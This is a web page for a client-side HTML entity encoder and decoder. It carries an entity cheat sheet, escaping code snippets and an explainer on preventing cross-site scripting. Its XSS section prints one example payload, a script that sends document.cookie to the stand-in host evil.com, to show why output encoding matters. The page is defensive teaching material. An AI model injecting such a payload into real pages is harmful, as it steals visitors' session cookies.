html_encoder.ts

HTML Entity Encoder & Decoder

Paste text → Encode or Decode → Copy result. Prevent XSS, display HTML safely.

InstantFreePrivateNo Signup
html — entity encoder & decoder
INPUT
0 chars
OUTPUT
0 chars
HTML Entity Cheat Sheet

Common HTML entities with named, numeric, and hex codes

CharNamedNumeric
&&&
<&lt;&#60;
>&gt;&#62;
"&quot;&#34;
'&apos;&#39;
&nbsp;&#160;
©&copy;&#169;
®&reg;&#174;
&trade;&#8482;
&euro;&#8364;
Code Snippets

How to encode/decode HTML entities in popular languages

// HTML encode — escape special characters function htmlEncode(str) { const div = document.createElement('div'); div.appendChild(document.createTextNode(str)); return div.innerHTML; } // Or manually: function htmlEscape(str) { return str .replace(/&/g, '&amp;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/"/g, '&quot;') .replace(/'/g, '&#39;'); } htmlEscape('<script>alert("XSS")</script>'); // "&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;"
Common Patterns

Click to load an example into the input

What is HTML Entity Encoding?

HTML entity encoding is the process of converting special characters in HTML into their corresponding reference codes, ensuring they are displayed correctly on a web page instead of being interpreted as HTML syntax by the browser. For example, the character < is converted to &lt; so the browser displays a less-than sign rather than starting a new HTML tag.

This is a fundamental technique in web development, critically important for preventing Cross-Site Scripting (XSS) attacks — one of the most common security vulnerabilities on the web. When user-supplied data is displayed directly without encoding, attackers can inject malicious JavaScript that steals session cookies, user data, or redirects visitors to phishing pages. The OWASP Top 10 consistently ranks injection attacks among the most dangerous web security risks.

How HTML Encoding Works

The HTML encoding process is straightforward: each special character is replaced with an “entity reference” that starts with & and ends with ;. There are three types of entities:

  • Named entities: Use human-readable names, e.g., &amp; for &, &lt; for <, &copy; for ©. Easy to read and remember, but not every character has a named entity.
  • Numeric entities (decimal): Use the Unicode code point as a number, e.g., &#38; for &, &#169; for ©. Works for any Unicode character and provides excellent XML compatibility.
  • Hex entities: Similar to numeric but use hexadecimal notation, e.g., &#x26; for &, &#xA9; for ©. Convenient when working with Unicode code points directly.

Five characters must always be encoded in HTML content: & (ampersand), < (less than), > (greater than), " (double quote), and ' (single quote / apostrophe). If these characters appear unencoded, the browser will treat them as part of the HTML structure, causing display errors or creating security vulnerabilities.

Named vs Numeric vs Hex Entities

TypeSyntaxExamplePros / Cons
Named&name;&amp; &copy;Readable, memorable. Not all characters have names
Numeric&#number;&#38; &#169;Works with any Unicode character. Good XML support
Hex&#xHEX;&#x26; &#xA9;Like numeric, convenient with Unicode code points

Best practice: Use named entities for the five core characters (& < > " ') because they are most readable. Use numeric or hex entities for other special characters, or when XML compatibility is required. Modern HTML5 supports over 2,000 named entities covering mathematical symbols, arrows, currency signs, and more.

Common Mistakes and XSS Prevention

Cross-Site Scripting (XSS) occurs when a web application displays user input without proper encoding. An attacker could submit:

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

If the application renders this string directly into the page, the browser will execute the script and send the victim's session cookie to the attacker's server. The fix: always HTML-encode all user-provided data before rendering it in the page. This converts the <script> tags into harmless text that the browser displays literally.

  • Output encoding: The primary defense — encode data for the correct context (HTML body, JS string, URL parameter, CSS value). Each context requires different encoding rules.
  • Content Security Policy (CSP): Add CSP headers to block inline scripts. Even if encoding is missed, CSP provides a safety net by preventing unauthorized script execution.
  • Avoid innerHTML: Use textContent or innerText instead of innerHTML when inserting text. The DOM API handles encoding automatically with text methods.
  • HTML sanitization: If you must allow limited HTML (rich text editors, markdown), use a proven library like DOMPurify to strip dangerous elements while preserving safe formatting.
  • Double encoding pitfall: Be careful not to encode content twice. Double-encoded entities like &amp;lt; will display as &lt; instead of <, breaking your content.

Using HTML Encoding in Your Code

Most modern programming languages and frameworks provide built-in HTML encoding support:

  • JavaScript: Create a DOM element and assign textContent, then read innerHTML to get the encoded string. For Node.js, use the he or html-entities npm package.
  • Python: Use html.escape() and html.unescape() from the standard library. These handle all five core characters and numeric entities by default.
  • PHP: Use htmlspecialchars() with the ENT_QUOTES | ENT_HTML5 flags and specify UTF-8 encoding explicitly. Use htmlentities() to encode all applicable characters.
  • React / Vue / Angular: These frameworks automatically encode content inserted via JSX expressions, template interpolation, or data binding. The danger arises only when using escape hatches like dangerouslySetInnerHTML (React), v-html (Vue), or bypassSecurityTrustHtml (Angular).
  • Go: Use html.EscapeString() from the standard library, or use the html/template package which automatically escapes by context.

Check the Code Snippets card above for copy-paste ready examples in JavaScript, Python, and PHP for both encoding and decoding operations.

About Developer Tools

Developer tools automate the repetitive parts of software work: formatting JSON, encoding/decoding Base64, decoding JWTs to verify token claims, generating UUIDs, formatting XML, diffing configurations. These aren't glamorous tasks, but they're the friction points that eat 10-15 minutes multiple times a day — adding up to hours weekly. Running them in a clean browser tab beats wrestling with CLI dependencies or IDE extensions that might ship your private data to a third party.

Why it matters

Fast, client-side developer tools fundamentally matter because they're used with sensitive data. JWT tokens contain user identity. Base64 payloads might encode API keys. JSON dumps include customer records. If a 'developer tool' sends your input to a server to process, you've just leaked production secrets. ZestLab's dev tools run 100% client-side with no network calls after page load — what you paste stays in your browser.

Privacy and safety

All developer tools here execute in-browser using pure JavaScript. There's no 'decode server' or 'format API' — your JWT, your JSON, your encoded payload is parsed by code running on your laptop. Verify this yourself with browser DevTools → Network tab: you'll see zero outbound requests when using any tool. That's a standard we hold because dev tools handle secrets.

Best practices

  • Never paste production JWT or API tokens into ANY online tool without verifying it runs client-side (check the Network tab)
  • Use browser private/incognito mode for one-off decoding of sensitive payloads
  • Bookmark tools you use daily — ZestLab tool URLs are stable and don't require accounts
  • When formatting JSON with secrets for team review, redact credentials before sharing the formatted output